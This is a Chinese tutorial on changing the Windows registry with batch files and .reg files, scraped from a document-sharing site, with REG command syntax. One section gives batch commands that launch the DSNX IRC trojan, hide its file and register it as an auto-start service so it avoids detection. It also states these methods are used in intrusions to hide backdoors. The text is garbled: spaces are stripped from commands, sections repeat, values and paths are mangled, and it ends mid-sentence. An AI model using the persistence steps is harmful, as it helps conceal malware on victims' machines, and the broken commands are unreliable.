批处理修改注册表基础教程.docx
《批处理修改注册表基础教程.docx》由会员分享,可在线阅读,更多相关《批处理修改注册表基础教程.docx(19页珍藏版)》请在冰豆网上搜索。
批处理修改注册表基础教程
批处理修改注册表基础教程.txt骗子太多,傻子明显不够用了。
我就是在路上斩棘杀龙游江过河攀上塔顶负责吻醒你的公主。
批处理修改注册表基础教程
禁止使用命令提示符程序和批处理文件
Windows2000/XP下的命令提示符(即CMD.exe程序)相当于Windows98下的MS-DOS程序。
出于系统本身安全考虑,应防止非法用户在命令提示符下或是利用批处理文件(BAT文件)对计算机进行破坏,这可通过修改注册表来实现。
选择【开始】→【运行】命令,在【运行】对话框的【打开】文本框中输入“regedit.exe”,单击【确定】按钮,运行注册表编辑器,依次打开以下键:
HKEY_CURRENT_USER\Software\Policies\Microsoft\System
在右边的窗口中新建一个DWORD值,其名称为DisableCMD,设数值数据为2,则表示命令提示符程序和批处理文件都不能被运行,其值为1,则只是禁止命令提示符的运行。
示例:
echoREGEDIT4>iedown.reg
echo[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\3]>>iedown.reg
echo"1803"=dword:
00000000>>iedown.reg
以上生成REG文件.
regedit/siedown.reg
deliedown.reg
运行REG后删除之.
还可以:
写一个注册表文件,放在一个位置..
然后批处理导入:
@echooff
regedit/s注册表文件路径
exit
说明:
/s是不弹出确认提示直接导入
先学习一下如何使用.REG文件来操
作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
WindowsRegistryEditorVersion5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
WindowsRegistryEditorVersion5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:
\\WINNT\\system32\\door.exe
"Autodos"=dword:
02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下新建了:
Invader、door、about这三个项目
Invader的类型是"Stringvalue"
door的类型是"REGSZvalue"
Autodos的类型是"DWORDvalue"
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit/s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
WindowsRegistryEditorVersion5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
WindowsRegistryEditorVersion5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。
那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:
如上面的那个例子,如想生成如下注册表文件
WindowsRegistryEditorVersion5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:
255
"Autodos"=dword:
000000128
只需要这样:
@echoWindowsRegistryEditorVersion5.00>>Sample.reg
@echo[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo"Invader"="Ex4rch">>Sample.reg
@echo"door"=5>>C:
\\WINNT\\system32\\door.exe>>Sample.reg
@echo"Autodos"=dword:
02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、
Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查
杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为
windrv32.exe)
@startwindrv32.exe
@attrib+h+rwindrv32.exe
@echo[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>patch.dll
@echo"windsnx"=->>patch.dll
@sc.execreateWindriversrvtype=kernelstart=autodisplayname=WindowsDriverbinpath=
c:
\winnt\system32\windrv32.exe
@regedit/spatch.dll
@deletepatch.dll
@REM[删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和
只读,并config为自启动]
@REM这样不是更安全.
怎么用批处理命令删注册表里的键值或用命令的方法删注册表值?
REGDELETEKeyName[/vValueName|/ve|/va][/f]
KeyName[\\Machine\]FullKey
Machine远程机器名-忽略当前机器的默认值。
远程机器上只有HKLM和HKU。
FullKeyROOTKEY\SubKey
ROOTKEY[HKLM|HKCU|HKCR|HKU|HKCC]
SubKey所选ROOTKEY下的注册表项的全名。
ValueName所选项下的要删除的值的名称。
省略时,该项下的所有子项和值都会被删除。
/ve删除空白值名称的值(默认)。
/va删除该项下的所有值。
/f不用提示就强行删除。
例如:
REGDELETEHKLM\Software\MyCo\MyApp\Timeout
删除注册表项Timeout及其所有子项和值
REGDELETE\\ZODIAC\HKLM\Software\MyCo/vMTU
删除ZODIAC上MyCo下的注册表项MTU
regedit.exe的参数
filename导入.reg文件进注册表
/s导入.reg文件进注册表(安静模式)
/e导出注册表文件
例:
regedit/efilename.regHKEY_LOCAL_MACHINE\SYSTEM
/L:
system指定system.dat
/R:
user指定user.dat
隐藏导入注册表信息用regedit/s即可
在DOS提示符下键入Regedit命令,将出现一个帮助屏幕。
此屏幕给出了其命令行参数及其使用方法。
语法:
Regedit[/L:
system][/R:
user]filename1
Regedit[/L:
system][/R:
user]/Cfilename2
Regedit[/L:
system][/R:
user]/Efilename3[regpath]
其中:
/L:
system指定system.dat文件的存放位置。
/L:
user指定user.dat文件的存放位置。
filename1指定引入注册表数据库的文件名。
/Cfilename2指定形成注册表数据库的文件名。
/Efilename3指定导出注册表文件的文件名。
regpath指定导出注册表文件的开始关键字(缺省为全部关键字)
现举几个例子说明regedit.exe在DOS下的使用方法。
【例1】将系统注册表数据库registry导出到reg1.reg文件中。
regedit/Ereg1.reg
【例2】reg1.reg形成系统注册表数据库registry(全部)中。
regedit/Creg1.reg
【例3】将reg.dat引入系统注册表数据库中(部分)。
regeditreg.dat
【例4】将CJH开始的关键字导出注册表数据库,并命名为cjh.reg。
regedit/Ecjh.regcjh
【例5】指定system/dat存放在D:
\PWIN中和user.dat存放在E:
\PWIN中,将reg.dat数据文件形成一个新的注册表数据库registry。
regedit/L:
D:
\PWIN/R:
E:
\PWIN/Creg.dat
有了以上这些知识,结合在《对注册表进行编程的“捷径”》里讲过的关于导入或导出的注册表文件(*.REG),我们就可以在DOS方式下对注册表进行编程了。
我们还是以更改“*.txt”文件的默认打开方式——“记事本”为“写字板”为例。
首先在MS-DOS提示符下导出“HKEY_CLASSES_ROOT\txtfile”子键这一分支,即执行命令:
regedit/Etxt.regHKEY_CLASSES_ROOT\txtfile
然后用DOS下的EDIT编辑器打开txt.reg文件进行编辑:
将其中所有的“C:
\\WINDOWS\\NOTEPAD.EXE”全部改成“C:
\\WINDOWS\\WRITE.EXE”,存盘退出EDIT,再在命令行下执行命令:
regedittxt.reg
XP上新加的注册表操作命令
ADD
REGADDKeyName[/vValueName|/ve][/tType][/sSeparator][/dData][/f]
KeyName[\\Machine\]FullKey
远程机器的机器名-忽略默认到当前机器。
远程机器上只有HKLM和HKU。
FullKeyROOTKEY\SubKey
ROOTKEY[HKLM|HKCU|HKCR|HKU|HKCC]
SubKey所选ROOTKEY下注册表项的完整名
/v所选项之下要添加的值名
/ve为注册表项添加空白值名<无名称>
/tRegKey数据类型
[REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|
REG_DWORD|REG_BINARY|REG_DWORD_LITTLE_ENDIAN|
REG_NONE|REG_EXPAND_SZ]
如果忽略,则采用REG_SZ
/s指定一个在REG_MULTI_SZ数据字符串中
用作分隔符的字符
如果忽略,则将"\0"用作分隔符
/d要分配给添加的注册表ValueName的数据
/f不用提示就强行改写现有注册表项
例如:
REGADD\\ABC\HKLM\Software\MyCo
添加远程机器ABC上的一个注册表项HKLM\Software\MyCo
REGADDHKLM\Software\MyCo/vData/tREG_BINARY/dfe340ead
添加一个值(名称:
Data,类型:
REG_BINARY,数据:
fe340ead)
REGADDHKLM\Software\MyCo/vMRU/tREG_MULTI_SZ/dfax\0mail
添加一个值(名称:
MRU,类型:
REG_MUTLI_SZ,数据:
fax\0
COMPARE
REGCOMPAREKeyName1KeyName2[/vValueName|/ve][Output][/s]
KeyName[\\Machine\]FullKey
Machine远程机器名-省略当前机器的默认值
远程机器上只有HKLM和HKU
FullKeyROOTKEY\SubKey
如果没有指定FullKey2,FullKey2则跟FullKey1相同
ROOTKEY[HKLM|HKCU|HKCR|HKU|HKCC]
SubKey所选ROOTKEY下的注册表项的全名
ValueName所选注册表项下的要比较的值的名称
省略时,该项下的所有值都会得到比较
/ve比较空白值名称的值
/s比较所有子项和值
Output[/oa|/od|/os|/on]
省略时,只显示不同的结果
/oa显示所有不同和匹配结果
/od只显示不同的结果
/os只显示匹配结果
/on不显示结果
返回代码:
0-成功,比较的结果相同
1-失败
2-成功,比较的结果不同
例如:
REGCOMPAREHKLM\Software\MyCo\MyAppHKLM\Software\MyCo\SaveMyApp
将注册表项MyApp下的所有值跟SaveMyApp比较
REGCOMPAREHKLM\Software\MyCoHKLM
COPY
REGCOPYKeyName1KeyName2[/s][/f]
KeyName[\\Machine\]FullKey
Machine远程机器名-忽略当前机器的默认值
远程机器上只有HKLM和HKU
FullKeyROOTKEY\SubKey
ROOTKEY[HKLM|HKCU|HKCR|HKU|HKCC]
SubKey所选ROOTKEY下的注册表项的全名
/s复制所有子项和值
/f不用提示就强行复制
例如:
REGCOPYHKLM\Software\MyCo\MyAppHKLM\Software\MyCo\SaveMyApp/s
将注册表项MyApp下的所有子项和值复制到注册表项SaveMyApp
REGCOPY\\ZODIAC\HKLM\Software\MyCoHKLM
DELETE
REGDELETEKeyName[/vValueName|/ve|/va][/f]
KeyName[\\Machine\]FullKey
Machine远程机器名-忽略当前机器的默认值
远程机器上只有HKLM和HKU
FullKeyROOTKEY\SubKey
ROOTKEY[HKLM|HKCU|HKCR|HKU|HKCC]
SubKey所选ROOTKEY下的注册表项的全名
ValueName所选项下的要删除的值的名称
省略时,该项下的所有子项和值都会被删除
/ve删除空白值名称的值
/va删除该项下的所有值
/f不用提示就强行删除
例如:
REGDELETEHKLM\Software\MyCo\MyApp\Timeout
删除注册表项T
LOAD
REGLOADKeyNameFileName
KeyNameROOTKEY\SubKey(只是本地机器的)
ROOTKEY[HKLM|HKU]
SubKey要将配置单元文件加载进的注册表项名称。
创建一个新的注册表项
FileName要加载的配置单元文件名
您必须使用REGSAVE来创建这个文件
QUERY
REGQUERYKeyName[/vValueName|/ve][/s]
KeyName[\Machine\]FullKey
Machine远程机器名-忽略当前机器的默认值
远程机器上只有HKLM和HKU
FullKey格式为ROOTKEY\SubKey
ROOTKEY[HKLM|HKCU|HKCR|HKU|HKCC]
SubKey所选ROOTKEY下的注册表项的全名
/v查询特定注册表项
ValueName所选项下的要查询的值的名称
省略时,该项下的所有值都会得到查询
/ve查询默认值或空白值名称
/s查询所有子项和值
RESTORE
REGRESTOREKeyNameFileName
KeyNameROOTKEY\SubKey(只是本地机器)
ROOTKEY[HKLM|HKCU|HKCR|HKU|HKCC]
SubKey要将配置单元文件还原到的注册表项全名。
改写现有项的值和子项
FileName要还原的配置单元文件名
您必须使用REGSAVE来创建这个文件
SAVE
REGSAVEKeyNameFileName
KeyNameROOTKEY\SubKey
ROOTKEY[HKLM|HKCU|HKCR|HKU|HKCC]
SubKey所选ROOTKEY下的注册表项的全名
FileName要保存的磁盘文件名。
如果没有指定路径,
文件会在调用进程的当前文件夹中得到创建
UNLOAD
REGUNLOADKeyName
KeyNameROOTKEY\SubKey(只是本地机器的)
ROOTKEY[HKLM|HKU]
SubKey要卸载的配置单元的注册表项名称
regadd"项"/v(value的缩写)值/t(type)reg_dword(默认是eg_sz)/d(data的缩写)"要插入的数据值"/f(forbiden的缩写,即强制的意思)
例如
regadd"HKLM\SYSTEM\CurrentControlSet\Control\Session"/vtest/treg_dword/d1/f
这句命令就是往你的注册表
HKLM\SYSTEM\CurrentControlSet\Control\Session
这个项下面新建一个reg_dowrd类型的值,名字为test,数据为1
/f表示在运行如果注册表里已经有这个值也不会提示你,直接修改,
如果没有这个参数的话,它会提示你是不是要修改
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:
为了达到隐藏后门、木马程序而删除Run下残余的键值。
或者创建一个服务用以加载后门。
当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。
下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
WindowsRegistryEditorVersion5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
WindowsRegistryEditorVersion5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"Door"=C:
\WINNT\system32\door.exe
"Autodos"=dword:
02
这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下
新建了:
Invader、door、about这三个项目
Invader的类型是“StringValue”
door的类型是“REGSZValue”
Autodos的类型是“DWORDValue”
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit/s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个